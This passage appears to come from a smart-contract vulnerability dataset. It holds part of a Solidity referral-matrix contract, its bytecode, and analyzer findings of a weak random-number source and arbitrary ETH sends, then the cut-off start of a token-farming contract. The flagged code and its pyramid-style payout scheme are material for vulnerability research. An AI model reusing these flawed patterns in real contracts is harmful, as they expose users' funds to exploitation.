(users[receiver].x6Matrix[level].blocked) { users[receiver].missedProfits += levelPrice[level]; emit MissedEthReceive(receiver, _from, 2, level); isExtraDividends = true; receiver = users[receiver].x6Matrix[level].currentReferrer; } else { return (receiver, isExtraDividends); } } } } function updateBalances(address receiver, uint8 matrix, uint quantity) private { if (matrix == 1) { users[receiver].balanceX3 += quantity; } else { users[receiver].balanceX6 += quantity; } distributed += quantity; } function sendETHDividends(address userAddress, address _from, uint8 matrix, uint8 level) private { (address receiver, bool isExtraDividends) = findEthReceiver(userAddress, _from, matrix, level); if (!address(uint160(receiver)).send(levelPrice[level])) { updateBalances(receiver, matrix, address(this).balance); return address(uint160(receiver)).transfer(address(this).balance); } updateBalances(receiver, matrix, levelPrice[level]); if (isExtraDividends) { emit SentExtraEthDividends(_from, receiver, matrix, level); } } }
0x6080604052600436106101235760003560e01c80638ecb9768116100a0578063c31d3b8211610064578063c31d3b82146105e9578063e06e8dbd146105fe578063ecabdf791461063a578063f84b903e14610667578063fa45323d1461067c57610164565b80638ecb9768146103ff5780639cc102fc14610407578063a87430ba14610520578063b25e69e81461058e578063be389d57146105c157610164565b80634081db51116100e75780634081db51146102a0578063509222cd146102d35780635e3d39571461031a57806383ba31b21461032f5780638da5cb5b146103ea57610164565b806302c0e7261461017d5780632418b4f61461018557806329c70400146102085780632a2d0c4714610233578063348d44871461027957610164565b36610164576004546040516001600160a01b03909116904780156108fc02916000818181858888f19350505050158015610161573d6000803e3d6000fd5b50005b60055461017b9033906001600160a01b03166106b8565b005b61017b610b27565b34801561019157600080fd5b506101b8600480360360208110156101a857600080fd5b50356001600160a01b0316610b40565b60408051602080825283518183015283519192839290830191858101910280838360005b838110156101f45781810151838201526020016101dc565b505050509050019250505060405180910390f35b34801561021457600080fd5b5061021d610bcd565b6040805160ff9092168252519081900360200190f35b34801561023f57600080fd5b5061025d6004803603602081101561025657600080fd5b5035610bd2565b604080516001600160a01b039092168252519081900360200190f35b34801561028557600080fd5b5061028e610bed565b60408051918252519081900360200190f35b3480156102ac57600080fd5b5061028e600480360360208110156102c357600080fd5b50356001600160a01b0316610bf3565b3480156102df57600080fd5b50610306600480360360208110156102f657600080fd5b50356001600160a01b0316610c05565b604080519115158252519081900360200190f35b34801561032657600080fd5b5061028e610c22565b34801561033b57600080fd5b5061036b6004803603604081101561035257600080fd5b5080356001600160a01b0316906020013560ff16610c28565b60405180856001600160a01b03166001600160a01b031681526020018060200184151515158152602001838152602001828103825285818151815260200191508051906020019060200280838360005b838110156103d35781810151838201526020016103bb565b505050509050019550505050505060405180910390f35b3480156103f657600080fd5b5061025d610cde565b61017b610ced565b34801561041357600080fd5b506104436004803603604081101561042a57600080fd5b5080356001600160a01b0316906020013560ff16610e26565b60405180876001600160a01b03166001600160a01b03168152602001806020018060200186151515158152602001858152602001846001600160a01b03166001600160a01b03168152602001838103835288818151815260200191508051906020019060200280838360005b838110156104c75781810151838201526020016104af565b50505050905001838103825287818151815260200191508051906020019060200280838360005b838110156105065781810151838201526020016104ee565b505050509050019850505050505050505060405180910390f35b34801561052c57600080fd5b506105536004803603602081101561054357600080fd5b50356001600160a01b0316610f4c565b604080519687526001600160a01b039095166020870152858501939093526060850191909152608084015260a0830152519081900360c00190f35b34801561059a57600080fd5b506101b8600480360360208110156105b157600080fd5b50356001600160a01b0316610f8b565b61017b600480360360408110156105d757600080fd5b5060ff81358116916020013516610ffb565b3480156105f557600080fd5b5061025d611588565b34801561060a57600080fd5b5061025d6004803603604081101561062157600080fd5b5080356001600160a01b0316906020013560ff16611597565b34801561064657600080fd5b5061028e6004803603602081101561065d57600080fd5b503560ff16611644565b34801561067357600080fd5b5061028e611656565b34801561068857600080fd5b5061025d6004803603604081101561069f57600080fd5b5080356001600160a01b0316906020013560ff1661165c565b3466b1a2bc2ec500001461070c576040805162461bcd60e51b8152602060048201526016602482015275726567697374726174696f6e20636f737420302e303560501b604482015290519081900360640190fd5b61071582610c05565b15610755576040805162461bcd60e51b815260206004820152600b60248201526a757365722065786973747360a81b604482015290519081900360640190fd5b813b63ffffffff8116156107a7576040805162461bcd60e51b815260206004820152601460248201527318d85b9b9bdd08189948184818dbdb9d1c9858dd60621b604482015290519081900360640190fd5b6107af613184565b604080516101008101825260035481526001600160a01b038516602082015260008183015281516013808252610280820190935290916060830191908160200160208202803683375050508152604080516013808252610280820190925260209283019290919082016102608036833701905050815260006020808301829052604080840183905260609384018390526001600160a01b0389811684528383529281902085518155858301516001820180546001600160a01b031916919095161790935584015160028301559183015180519394508493919261089a926003850192909101906131d2565b50608082015180516108b69160048401916020909101906131d2565b5060a0820151600582015560c0820151600682015560e09091015160079091015560038054600090815260016020818152604080842080546001600160a01b0319166001600160a01b038b1690811790915584529083905290912090910180548290811061092057fe5b90600052602060002090602091828204019190066101000a81548160ff0219169083151502179055506001600080866001600160a01b03166001600160a01b0316815260200190815260200160002060040160018154811061097e57fe5b6000918252602080832081830401805460ff601f9094166101000a9384021916941515929092029390931790556003546001600160a01b0387168252600283526040808320829055805143600019014081860152815180820386018152908201909152805193019290922060019290816109f457fe5b6001919006810182526020808301939093526040918201600090812054600580546001600160a01b0319166001600160a01b039283161790556658d15e1762800060075560038054840190558716815292839052908220600201805482019055610a5f90869061165c565b6001600160a01b038681166000908152602081815260408083206001808552600890910190925290912080546001600160a01b03191692841692909217909155909150610aaf9086908390611703565b610ac585610abe876001611597565b6001611a91565b6001600160a01b03808616600081815260208181526040808320549489168084529281902054815190815290519293927f309bb360e8b69c23937ccc5fb01f9aeeead1c95a99604e175113ff82f2b1723a929181900390910190a45050505050565b600554610b3e9033906001600160a01b03166106b8565b565b6001600160a01b03811660009081526020818152604091829020600301805483518184028101840190945280845260609392830182828015610bc157602002820191906000526020600020906000905b825461010083900a900460ff161515815260206001928301818104948501949093039092029101808411610b905790505b50505050509050919050565b601281565b6001602052600090815260409020546001600160a01b031681565b60035481565b60026020526000908152604090205481565b6001600160a01b0316600090815260208190526040902054151590565b60075481565b6001600160a01b0382811660009081526020818152604080832060ff8681168552600890910183528184208054600282015460038301546001909301805486518189028101890190975280875297986060988a988998959092169692959390921693918591830182828015610cc657602002820191906000526020600020905b81546001600160a01b03168152600190910190602001808311610ca8575b50505050509250935093509350935092959194509250565b6004546001600160a01b031681565b610cf633610c05565b610d47576040805162461bcd60e51b815260206004820181905260248201527f75736572206e6f74206578697374732e2052656769737465722066697273742e604482015290519081900360640190fd5b600754341015610d8e576040805162461bcd60e51b815260206004820152600d60248201526c696e76616c696420707269636560981b604482015290519081900360640190fd5b6004546040516001600160a01b03909116904780156108fc02916000818181858888f19350505050158015610dc7573d6000803e3d6000fd5b50346007819055600580546001600160a01b03191633908117909155600654604080519384526020840191909152805191927f19421268847f42dd61705778018ddfc43bcdce8517e7a630acb12f122c709481929081900390910190a2565b6001600160a01b0382811660009081526020818152604080832060ff86811685526009909101835281842080546003820154600483015460058401546001850180548851818b0281018b01909952808952999a60609a8b9a8d9a8b9a8b9a99851699959860029096019795169590931692918791830182828015610ed357602002820191906000526020600020905b81546001600160a01b03168152600190910190602001808311610eb5575b5050505050945083805480602002602001604051908101604052809291908181526020018280548015610f2f57602002820191906000526020600020905b81546001600160a01b03168152600190910190602001808311610f11575b505050505093509550955095509550955095509295509295509295565b60006020819052908152604090208054600182015460028301546005840154600685015460079095015493946001600160a01b03909316939192909186565b6001600160a01b03811660009081526020818152604091829020600401805483518184028101840190945280845260609392830182828015610bc1576000918252602091829020805460ff1615158452908202830192909160019101808411610b90575094979650505050505050565b61100433610c05565b611055576040805162461bcd60e51b815260206004820181905260248201527f75736572206e6f74206578697374732e2052656769737465722066697273742e604482015290519081900360640190fd5b8160ff166001148061106a57508160ff166002145b6110ac576040805162461bcd60e51b815260206004820152600e60248201526d0d2dcecc2d8d2c840dac2e8e4d2f60931b604482015290519081900360640190fd5b60ff81166000908152600860205260409020543414611102576040805162461bcd60e51b815260206004820152600d60248201526c696e76616c696420707269636560981b604482015290519081900360640190fd5b60018160ff161180156111195750601260ff821611155b61115a576040805162461bcd60e51b815260206004820152600d60248201526c1a5b9d985b1a59081b195d995b609a1b604482015290519081900360640190fd5b8160ff166001141561138f57336000908152602081905260409020600301805460ff831690811061118757fe5b90600052602060002090602091828204019190069054906101000a900460ff16156111f3576040805162461bcd60e51b81526020600482015260176024820152761b195d995b08185b1c9958591e481858dd1a5d985d1959604a1b604482015290519081900360640190fd5b3360009081526020818152604080832060ff6000198601811685526008909101909252909120600201541615611251573360009081526020818152604080832060ff60001986011684526008019091529020600201805460ff191690555b600580546001600160a01b0319163390811790915560075460065460408051928352602083019190915280517f19421268847f42dd61705778018ddfc43bcdce8517e7a630acb12f122c7094819281900390910190a260006112b3338361165c565b3360008181526020818152604080832060ff881680855260088201845291842080546001600160a01b0319166001600160a01b03881617905593835291905260039091018054929350600192909190811061130a57fe5b90600052602060002090602091828204019190066101000a81548160ff02191690831515021790555061133e338284611703565b604080516001815260ff8416602082015281516001600160a01b0384169233927f18a92df19fd94d6cfff209966673a5ca05a1c8e2bb68e097fce2bdc2ed811119929081900390910190a350611584565b336000908152602081905260409020600401805460ff83169081106113b057fe5b90600052602060002090602091828204019190069054906101000a900460ff161561141c576040805162461bcd60e51b81526020600482015260176024820152761b195d995b08185b1c9958591e481858dd1a5d985d1959604a1b604482015290519081900360640190fd5b3360009081526020818152604080832060ff600019860181168552600990910190925290912060030154161561147a573360009081526020818152604080832060ff60001986011684526009019091529020600301805460ff191690555b600580546001600160a01b0319163390811790915560075460065460408051928352602083019190915280517f19421268847f42dd61705778018ddfc43bcdce8517e7a630acb12f122c7094819281900390910190a260006114dc3383611597565b336000908152602081905260409020600401805491925060019160ff851690811061150357fe5b90600052602060002090602091828204019190066101000a81548160ff021916908315150217905550611537338284611a91565b604080516002815260ff8416602082015281516001600160a01b0384169233927f18a92df19fd94d6cfff209966673a5ca05a1c8e2bb68e097fce2bdc2ed811119929081900390910190a3505b5050565b6005546001600160a01b031681565b6000825b6001600160a01b0380821660009081526020819052604080822060010154909216815220600401805460ff85169081106115d157fe5b90600052602060002090602091828204019190069054906101000a900460ff161561161b576001600160a01b0390811660009081526020819052604090206001015416905061163e565b6001600160a01b039081166000908152602081905260409020600101541661159b565b92915050565b60086020526000908152604090205481565b60065481565b6000825b6001600160a01b0380821660009081526020819052604080822060010154909216815220600301805460ff851690811061169657fe5b90600052602060002090602091828204019190069054906101000a900460ff16156116e0576001600160a01b0390811660009081526020819052604090206001015416905061163e565b6001600160a01b0390811660009081526020819052604090206001015416611660565b6001600160a01b0382811660009081526020818152604080832060ff8616808552600890910183529083206001908101805491820181558085529284200180546001600160a01b0319169488169490941790935591905254600311156117db576001600160a01b0380831660008181526020818152604080832060ff808816808652600890920184529382902060019081015483519182529381019190915291909216818301529051919286169160008051602061331e8339815191529181900360600190a36117d68284600184612444565b611a8c565b604080516001815260ff8316602082015260038183015290516001600160a01b03808516929086169160008051602061331e8339815191529181900360600190a360408051600080825260208083018085526001600160a01b038716835282825284832060ff8716845260080190915292902090516118609260019092019190613277565b5060ff81166012148015906118bf57506001600160a01b0382166000908152602081905260409020600301805460ff600184011690811061189d57fe5b90600052602060002090602091828204019190069054906101000a900460ff16155b156118fa576001600160a01b03821660009081526020818152604080832060ff851684526008019091529020600201805460ff191660011790555b6004546001600160a01b03838116911614611a0557600061191b838361165c565b6001600160a01b0384811660009081526020818152604080832060ff8816845260080190915290205491925082811691161461198f576001600160a01b0383811660009081526020818152604080832060ff87168452600801909152902080546001600160a01b0319169183169190911790555b6001600160a01b0380841660008181526020818152604080832060ff88168085526008909101835292819020600301805460019081019091558151908152918201929092528151888516948616939260008051602061333e833981519152928290030190a46119ff838284611703565b50611a8c565b600454611a1e906001600160a01b031684600184612444565b600480546001600160a01b0390811660009081526020818152604080832060ff8716808552600890910183528184206003018054600190810190915595548251968752928601528051888516959394929092169260008051602061333e833981519152929081900390910190a45b505050565b6001600160a01b0382166000908152602081905260409020600401805460ff8316908110611abb57fe5b90600052602060002090602091828204019190069054906101000a900460ff16611b2c576040805162461bcd60e51b815260206004820152601a60248201527f5265666572726572206c6576656c20697320696e616374697665000000000000604482015290519081900360640190fd5b6001600160a01b03821660009081526020818152604080832060ff8516845260090190915290206001015460021115612091576001600160a01b0382811660008181526020818152604080832060ff8781168086526009909201845282852060019081018054918201815580875285872090910180546001600160a01b031916988c1698891790559482905293548251600281529384019190915290921681830152905191929160008051602061331e833981519152916060908290030190a36001600160a01b0383811660009081526020818152604080832060ff86168452600901909152902080546001600160a01b0319168483169081179091556004549091161415611c42576117d68284600284612444565b6001600160a01b0382811660009081526020818152604080832060ff8616808552600991820184528285205486168086528585528386208287529092018452918420600280820180546001808201835591885295872090950180546001600160a01b031916978b1697909717909655919093520154909181148015611d1357506001600160a01b0382811660009081526020818152604080832060ff881684526009019091528120600101805492871692909190611cfc57fe5b6000918252602090912001546001600160a01b0316145b8015611d6f57506001600160a01b0382811660009081526020818152604080832060ff88168452600901909152902060019081018054928716929091908110611d5857fe5b6000918252602090912001546001600160a01b0316145b15611e34576001600160a01b03841660009081526020818152604080832060ff8716845260090190915290206001908101541415611ded57604080516002815260ff8516602082015260058183015290516001600160a01b03808516929088169160008051602061331e8339815191529181900360600190a3611e2f565b604080516002815260ff8516602082015260068183015290516001600160a01b03808516929088169160008051602061331e8339815191529181900360600190a35b61207f565b8060011480611e435750806002145b8015611e9b57506001600160a01b0382811660009081526020818152604080832060ff881684526009019091528120600101805492871692909190611e8457fe5b6000918252602090912001546001600160a01b0316145b15611f5f576001600160a01b03841660009081526020818152604080832060ff8716845260090190915290206001908101541415611f1957604080516002815260ff8516602082015260038183015290516001600160a01b03808516929088169160008051602061331e8339815191529181900360600190a3611e2f565b604080516002815260ff8516602082015260048183015290516001600160a01b03808516929088169160008051602061331e8339815191529181900360600190a361207f565b806002148015611fbf57506001600160a01b0382811660009081526020818152604080832060ff88168452600901909152902060019081018054928716929091908110611fa857fe5b6000918252602090912001546001600160a01b0316145b1561207f576001600160a01b03841660009081526020818152604080832060ff871684526009019091529020600190810154141561203d57604080516002815260ff8516602082015260058183015290516001600160a01b03808516929088169160008051602061331e8339815191529181900360600190a361207f565b604080516002815260ff8516602082015260068183015290516001600160a01b03808516929088169160008051602061331e8339815191529181900360600190a35b61208a858385612559565b5050611a8c565b6001600160a01b0382811660009081526020818152604080832060ff86168085526009909101835290832060028101805460018101825590855292842090920180546001600160a01b031916888616179055909152600501541615612275576001600160a01b03821660009081526020818152604080832060ff85168452600901909152902060019081018054909190811061212957fe5b60009182526020808320909101546001600160a01b038581168452838352604080852060ff8716865260090190935291832060010180549290911692909161216d57fe5b6000918252602090912001546001600160a01b03161480156121e257506001600160a01b0382811660009081526020818152604080832060ff861684526009019091528120600581015460019091018054919093169291906121cb57fe5b6000918252602090912001546001600160a01b0316145b156121ff576121f483838360016129dc565b6117d6838383612559565b6001600160a01b0382811660009081526020818152604080832060ff8616845260090190915281206005810154600190910180549190931692919061224057fe5b6000918252602090912001546001600160a01b03161415612268576121f483838360016129dc565b6121f483838360006129dc565b6001600160a01b0382811660009081526020818152604080832060ff861684526009019091529020600190810180549286169290919081106122b357fe5b6000918252602090912001546001600160a01b031614156122db576121f483838360006129dc565b6001600160a01b0382811660009081526020818152604080832060ff86168452600901909152812060010180549286169290919061231557fe5b6000918252602090912001546001600160a01b0316141561233d576121f483838360016129dc565b6001600160a01b03821660009081526020818152604080832060ff85168452600901909152812060019081018054839290811061237657fe5b60009182526020808320909101546001600160a01b039081168452838201949094526040928301822060ff86168084526009918201835284842060019081015496891685528484528585209185529101909152918120909101805482919082906123dc57fe5b60009182526020808320909101546001600160a01b03168352828101939093526040918201812060ff861682526009019092529020600101541161242c5761242783838360006129dc565b612439565b61243983838360016129dc565b611a8c838383612559565b60008061245386868686612f45565b60ff85166000908152600860205260408082205490519395509193506001600160a01b0385169282156108fc029291818181858888f193505050506124da5761249d828547613123565b6040516001600160a01b038316904780156108fc02916000818181858888f193505050501580156124d2573d6000803e3d6000fd5b505050612553565b60ff83166000908152600860205260409020546124fa9083908690613123565b8015612550576040805160ff80871682528516602082015281516001600160a01b0380861693908916927ff0ddc65c0d411f042f723dcfa1b7d13e85a35b7b70761d447c6500411cacf328929081900390910190a35b50505b50505050565b6001600160a01b03821660009081526020818152604080832060ff8516845260090190915290206002015460041115612599576117d68284600284612444565b6001600160a01b0380831660009081526020818152604080832060ff8616808552600991820184528285205490951684528383528184209484529390930181529082902060010180548351818402810184019094528084526060939283018282801561262e57602002820191906000526020600020905b81546001600160a01b03168152600190910190602001808311612610575b505050505090508051600214156126fb57826001600160a01b03168160008151811061265657fe5b60200260200101516001600160a01b031614806126985750826001600160a01b03168160018151811061268557fe5b60200260200101516001600160a01b0316145b156126f6576001600160a01b0380841660008181526020818152604080832060ff8816808552600991820184528285205490961684528383528184209584529490940190529190912060050180546001600160a01b03191690911790555b61278c565b80516001141561278c57826001600160a01b03168160008151811061271c57fe5b60200260200101516001600160a01b0316141561278c576001600160a01b0380841660008181526020818152604080832060ff8816808552600991820184528285205490961684528383528184209584529490940190529190912060050180546001600160a01b03191690911790555b60408051600080825260208083018085526001600160a01b038816835282825284832060ff8816845260090190915292902090516127d09260019092019190613277565b5060408051600080825260208083018085526001600160a01b038816835282825284832060ff8816845260090190915292902090516128159260029092019190613277565b506001600160a01b03831660009081526020818152604080832060ff8616808552600990910190925290912060050180546001600160a01b03191690556012148015906128ac57506001600160a01b0383166000908152602081905260409020600401805460ff600185011690811061288a57fe5b90600052602060002090602091828204019190069054906101000a900460ff16155b156128e7576001600160a01b03831660009081526020818152604080832060ff861684526009019091529020600301805460ff191660011790555b6001600160a01b0380841660008181526020818152604080832060ff88168452600901909152902060049081018054600101905554909116146129825760006129308484611597565b604080516002815260ff8616602082015281519293506001600160a01b0380891693818616939189169260008051602061333e83398151915292908290030190a461297c848285611a91565b50612553565b600454604080516002815260ff8516602082015281516001600160a01b038089169460009491169260008051602061333e833981519152929081900390910190a4600454612553906001600160a01b031685600285612444565b80612c8c576001600160a01b03831660009081526020818152604080832060ff86168452600901909152812060010180548291908290612a1857fe5b6000918252602080832091909101546001600160a01b039081168452838201949094526040928301822060ff8716808452600991820183528484206001908101805480830182559086528486200180546001600160a01b0319168c891617905595891684528383528484209084520190529081209091018054909190612a9a57fe5b60009182526020808320909101546001600160a01b038681168452838352604080852060ff881686526009019093529183206001018054918316939288169260008051602061331e833981519152926002928892918291908290612afa57fe5b60009182526020808320909101546001600160a01b03168352828101939093526040918201812060ff808c1683526009909101845290829020600101548251958216865293811692850192909252911682820152519081900360600190a36001600160a01b0380841660008181526020818152604080832060ff8816845260090190915281206001018054929388169260008051602061331e8339815191529260029288928291908290612baa57fe5b60009182526020808320909101546001600160a01b03168352828101939093526040918201812060ff808c168352600990910184529082902060010154825195821686529381169285019290925260029092011682820152519081900360600190a36001600160a01b03831660009081526020818152604080832060ff8616845260090190915281206001018054909190612c4157fe5b60009182526020808320909101546001600160a01b038781168452838352604080852060ff881686526009019093529190922080546001600160a01b03191691909216179055612553565b6001600160a01b03831660009081526020818152604080832060ff861684526009019091528120600190810180548392908110612cc557fe5b6000918252602080832091909101546001600160a01b039081168452838201949094526040928301822060ff8716808452600991820183528484206001908101805480830182559086528486200180546001600160a01b0319168c8916179055958916845283835284842090845201905220810180549091908110612d4657fe5b60009182526020808320909101546001600160a01b038681168452838352604080852060ff8816865260090190935291832060019081018054928416949389169360008051602061331e83398151915293600293899383929091908110612da957fe5b60009182526020808320909101546001600160a01b03168352828101939093526040918201812060ff808c1683526009909101845290829020600101548251958216865293811692850192909252911682820152519081900360600190a36001600160a01b0380841660008181526020818152604080832060ff88168452600901909152812060019081018054939489169360008051602061331e8339815191529360029389939192839291908110612e5e57fe5b60009182526020808320909101546001600160a01b03168352828101939093526040918201812060ff808c168352600990910184529082902060010154825195821686529381169285019290925260049092011682820152519081900360600190a36001600160a01b03831660009081526020818152604080832060ff861684526009019091529020600190810180549091908110612ef957fe5b60009182526020808320909101546001600160a01b038781168452838352604080852060ff881686526009019093529190922080546001600160a01b0319169190921617905550505050565b6000808581600160ff87161415613040575b6001600160a01b03821660009081526020818152604080832060ff808a16855260089091019092529091206002015416156130315760ff85166000818152600860209081526040808320546001600160a01b03808816808652858552948390206007018054909201909155815160018152928301949094528051938b16937ffc0cb63f8dbd6b20ceb84a3c5358a41576a1479e6ecd040b4b985525dc09a7099281900390910190a3506001600160a01b0390811660009081526020818152604080832060ff8816845260080190915290205416600161303b565b909250905061311a565b612f57565b6001600160a01b03821660009081526020818152604080832060ff808a16855260099091019092529091206003015416156130315760ff85166000818152600860209081526040808320546001600160a01b03808816808652858552948390206007018054909201909155815160028152928301949094528051938b16937ffc0cb63f8dbd6b20ceb84a3c5358a41576a1479e6ecd040b4b985525dc09a7099281900390910190a3506001600160a01b0390811660009081526020818152604080832060ff88168452600901909152902054166001613040565b94509492505050565b8160ff1660011415613155576001600160a01b0383166000908152602081905260409020600501805482019055613177565b6001600160a01b03831660009081526020819052604090206006018054820190555b6006805490910190555050565b6040518061010001604052806000815260200160006001600160a01b031681526020016000815260200160608152602001606081526020016000815260200160008152602001600081525090565b82805482825590600052602060002090601f016020900481019282156132675791602002820160005b8382111561323857835183826101000a81548160ff02191690831515021790555092602001926001016020816000010492830192600103026131fb565b80156132655782816101000a81549060ff0219169055600101602081600001049283019260010302613238565b505b506132739291506132d8565b5090565b8280548282559060005260206000209081019282156132cc579160200282015b828111156132cc57825182546001600160a01b0319166001600160a01b03909116178255602090920191600190910190613297565b506132739291506132f9565b6132f691905b8082111561327357805460ff191681556001016132de565b90565b6132f691905b808211156132735780546001600160a01b03191681556001016132ff56fe68062c5925c4317adf3a7095478d28b33fd8b41458bc7620b61bc46bf1b24d82a00c953eff38ec1b71e7fe060b2ab8df0bbe5354319fbdde4fbdafd6324386a6a26469706673582212204a4eb544c17f4af2447a846c36f17321a1a282ff58946e9c90b068a5110fb9c664736f6c63430006080033
{"success": true, "error": null, "results": {"detectors": [{"check": "weak-prng", "impact": "High", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
7,407
0xe0bffa7b781e05678017eae5be24b392a048b980
pragma solidity 0.6.11; // SPDX-License-Identifier: BSD-3-Clause /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @dev Library for managing * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive * types. * * Sets have the following properties: * * - Elements are added, removed, and checked for existence in constant time * (O(1)). * - Elements are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableSet for EnumerableSet.AddressSet; * * // Declare a set state variable * EnumerableSet.AddressSet private mySet; * } * ``` * * As of v3.0.0, only sets of type `address` (`AddressSet`) and `uint256` * (`UintSet`) are supported. */ library EnumerableSet { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping (bytes32 => uint256) _indexes; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function _remove(Set storage set, bytes32 value) private returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; // When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs // so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement. bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } /** * @dev Returns true if the value is in the set. O(1). */ function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } /** * @dev Returns the number of values on the set. O(1). */ function _length(Set storage set) private view returns (uint256) { return set._values.length; } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Set storage set, uint256 index) private view returns (bytes32) { require(set._values.length > index, "EnumerableSet: index out of bounds"); return set._values[index]; } // AddressSet struct AddressSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(value))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(value))); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(value))); } /** * @dev Returns the number of values in the set. O(1). */ function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint256(_at(set._inner, index))); } // UintSet struct UintSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } /** * @dev Returns the number of values on the set. O(1). */ function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } interface Token { function transferFrom(address, address, uint) external returns (bool); function transfer(address, uint) external returns (bool); } contract FarmPrdzEth30 is Ownable { using SafeMath for uint; using EnumerableSet for EnumerableSet.AddressSet; event RewardsTransferred(address holder, uint amount); event RewardsDisbursed(uint amount); // deposit token contract address address public trustedDepositTokenAddress; address public trustedRewardTokenAddress; uint public adminCanClaimAfter = 395 days; uint public withdrawFeePercentX100 = 0; uint public disburseAmount = 35e18; uint public disburseDuration = 30 days; uint public cliffTime = 30 days; uint public disbursePercentX100 = 10000; uint public contractDeployTime; uint public adminClaimableTime; uint public lastDisburseTime; constructor(address _trustedDepositTokenAddress, address _trustedRewardTokenAddress) public { trustedDepositTokenAddress = _trustedDepositTokenAddress; trustedRewardTokenAddress = _trustedRewardTokenAddress; contractDeployTime = now; adminClaimableTime = contractDeployTime.add(adminCanClaimAfter); lastDisburseTime = contractDeployTime; } uint public totalClaimedRewards = 0; EnumerableSet.AddressSet private holders; mapping (address => uint) public depositedTokens; mapping (address => uint) public depositTime; mapping (address => uint) public lastClaimedTime; mapping (address => uint) public totalEarnedTokens; mapping (address => uint) public lastDivPoints; uint public totalTokensDisbursed = 0; uint public contractBalance = 0; uint public totalDivPoints = 0; uint public totalTokens = 0; uint internal pointMultiplier = 1e18; function addContractBalance(uint amount) public onlyOwner { require(Token(trustedRewardTokenAddress).transferFrom(msg.sender, address(this), amount), "Cannot add balance!"); contractBalance = contractBalance.add(amount); } function updateAccount(address account) private { uint pendingDivs = getPendingDivs(account); if (pendingDivs > 0) { require(Token(trustedRewardTokenAddress).transfer(account, pendingDivs), "Could not transfer tokens."); totalEarnedTokens[account] = totalEarnedTokens[account].add(pendingDivs); totalClaimedRewards = 